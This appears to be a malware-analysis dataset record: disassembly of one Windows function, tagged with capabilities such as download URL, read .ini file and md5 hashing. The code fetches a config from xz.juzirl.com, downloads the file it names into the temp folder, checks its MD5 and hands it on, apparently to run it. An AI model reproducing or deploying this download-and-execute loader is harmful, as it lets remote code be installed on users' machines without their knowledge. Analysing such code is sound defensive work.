Function at 0x4043a0
Capabilities:
Delete file
Download url
Get common file path
Hash data with md5
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437bcf
mov eax, dword fs:[0]
push eax
sub esp, 0x794
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x63f]
push ebx
push eax
mov byte [ebp - 0x640], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x1a
lea ecx, [ebp - 0x640]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea edx, [ebp - 0x117]
push ebx
push edx
mov byte [ebp - 0x118], bl
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x640]
push eax
lea ecx, [ebp - 0x118]
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._rlsvcfg.ini
lea edx, [ebp - 0x118]
push edx
call edi
push str.http:__xz.juzirl.com_rlsvcfg.ini
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x118]
push eax
push str.http:__xz.juzirl.com_rlsvcfg.ini
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x103
lea ecx, [ebp - 0x327]
push ebx
push ecx
mov byte [ebp - 0x328], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x118]
push edx
push 0x104
lea eax, [ebp - 0x328]
push eax
push 0x43ffcc
push 0x440378
push str.main
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x537]
push ebx
push ecx
mov byte [ebp - 0x538], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x118]
push edx
push 0x104
lea eax, [ebp - 0x538]
push eax
push 0x43ffcc
push str.name
push str.main
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x103
lea ecx, [ebp - 0x42f]
push ebx
push ecx
mov byte [ebp - 0x430], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x430]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea eax, [ebp - 0x21f]
push ebx
push eax
mov byte [ebp - 0x220], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x430]
push ecx
lea edx, [ebp - 0x220]
push edx
call esi
lea eax, [ebp - 0x538]
push eax
lea ecx, [ebp - 0x220]
push ecx
call edi
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push ebx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x7a0]
push eax
mov byte [ebp - 0x680], bl
mov dword [ebp - 0x6d4], ebx
mov dword [ebp - 0x6d8], ebx
mov dword [ebp - 0x6e8], 0x67452301
mov dword [ebp - 0x6e4], 0xefcdab89
mov dword [ebp - 0x6e0], 0x98badcfe
mov dword [ebp - 0x6dc], 0x10325476
call fcn.004055e0
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x73c], ebx
jne 0x40461e
mov edx, dword [ebp - 0x7a0]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x738]
mov dword [ebp - 0x6ec], ecx
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0x790]
mov dword [ebp - 4], 1
call fcn.004056d0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x7a0]
mov edx, dword [ecx + 4]
mov eax, dword [sym.imp.MSVCP100.dll_const_std::basic_istream_char__struct_std::char_traits_char__::vftable]
mov dword [ebp + edx - 0x7a0], eax
jmp 0x4047a8
lea edi, [ebp - 0x7a0]
lea ecx, [ebp - 0x6e8]
call fcn.00401040
mov eax, 0x4435d8
mov dword [ebp - 0x648], 0xf
mov dword [ebp - 0x64c], ebx
mov byte [ebp - 0x65c], bl
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404650
sub eax, edx
mov edi, eax
mov eax, 0x4435d8
lea esi, [ebp - 0x65c]
call fcn.004063d0
lea edi, [ebp - 0x678]
lea eax, [ebp - 0x6e8]
mov byte [ebp - 4], 2
call fcn.00401b60
mov ecx, dword [ebp - 0x678]
mov edx, 0x10
cmp dword [ebp - 0x664], edx
jae 0x404695
mov ecx, edi
mov esi, dword [ebp - 0x64c]
mov edi, dword [ebp - 0x668]
mov eax, esi
cmp esi, edi
jb 0x4046a9
mov eax, edi
cmp dword [ebp - 0x648], edx
mov edx, dword [ebp - 0x65c]
jae 0x4046bd
lea edx, [ebp - 0x65c]
call fcn.004022a0
cmp eax, ebx
jne 0x4046d8
cmp esi, edi
jae 0x4046cf
or eax, 0xffffffff
jmp 0x4046d6
xor eax, eax
cmp esi, edi
setne al
cmp eax, ebx
sete al
cmp al, bl
je 0x4046ee
lea ecx, [ebp - 0x220]
push ecx
call fcn.004024a0
add esp, 4
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, 0x10
cmp dword [ebp - 0x664], edi
jb 0x404718
mov eax, dword [ebp - 0x678]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x664], esi
mov dword [ebp - 0x668], ebx
mov byte [ebp - 0x678], bl
cmp dword [ebp - 0x648], edi
jb 0x404747
mov ecx, dword [ebp - 0x65c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x648], esi
mov dword [ebp - 0x64c], ebx
mov byte [ebp - 0x65c], bl
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x738]
mov dword [ebp - 0x6ec], edx
mov dword [ebp + ecx - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0x790]
mov dword [ebp - 4], 4
call fcn.004056d0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x7a0]
mov eax, dword [edx + 4]
mov ecx, dword [sym.imp.MSVCP100.dll_const_std::basic_istream_char__struct_std::char_traits_char__::vftable]
mov dword [ebp + eax - 0x7a0], ecx
lea ecx, [ebp - 0x738]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret